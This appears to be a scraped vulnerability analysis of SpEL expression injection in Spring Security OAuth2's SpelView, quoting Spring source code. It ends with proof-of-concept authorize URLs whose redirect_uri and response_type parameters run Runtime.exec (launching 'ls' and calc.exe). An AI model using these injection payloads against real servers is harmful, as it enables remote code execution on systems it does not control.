1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

Source code: https://github.com/spring-projects/spring-boot/blob/master/spring-boot-autoconfigure/src/main/java/org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.java

Lines 137-148:

private final SpelView defaultErrorView = new SpelView("

Whitelabel Error Page

"+ "

This application has no explicit mapping for /error, so you are seeing this as a fallback.

"+ "

${timestamp}

"

+ "

There was an unexpected error (type=${error}, status=${status}).

"

+ "

${message}

");

@Bean(name = "error")

@ConditionalOnMissingBean(name = "error")

public View defaultErrorView() {

    return this.defaultErrorView;

}

Source code: /spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/SpelView.java

...

import org.springframework.expression.spel.standard.SpelExpressionParser;

...

private final SpelExpressionParser parser = new SpelExpressionParser();

private final StandardEvaluationContext context = new StandardEvaluationContext();

...

this.helper = new PropertyPlaceholderHelper("${", "}");

...

Expression expression = parser.parseExpression(name); ...

http://localhost:8080/oauth/authorize?

response_type=token&client_id=secalert&scope=openid&redirect_uri=${777-111}

http://localhost:8080/oauth/authorize?response_type=token&client_id=secalert&scope=openid

&redirect_uri=${T(java.lang.Runtime).getRuntime().exec("ls")}

http://localhost:8080/oauth/authorize?

response_type=calc.exe${T%28java.lang.Runtime%29.getRuntime%28%29.exec%28toString%28%29.substring%28112,120%29%29}&client_id=secalert&scope=openid&redirect_uri=http://test

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

Source code: "https://github.com/spring-projects/spring-security-oauth/blob/master/spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/SpelView.java":

...

public SpelView(String template) {

        this.template = template;

        this.prefix = new RandomValueStringGenerator().generate() + "{";

        this.context.addPropertyAccessor(new MapAccessor());

        this.resolver = new PlaceholderResolver() {

            public String resolvePlaceholder(String name) {

                Expression expression = parser.parseExpression(name);

                Object value = expression.getValue(context);

                return value == null ? null : value.toString();

            }

        };

    }

    ...

        String maskedTemplate = template.replace("${", prefix);

        PropertyPlaceholderHelper helper = new PropertyPlaceholderHelper(prefix, "}");

        String result = helper.replacePlaceholders(maskedTemplate, resolver);

        result = result.replace(prefix, "${");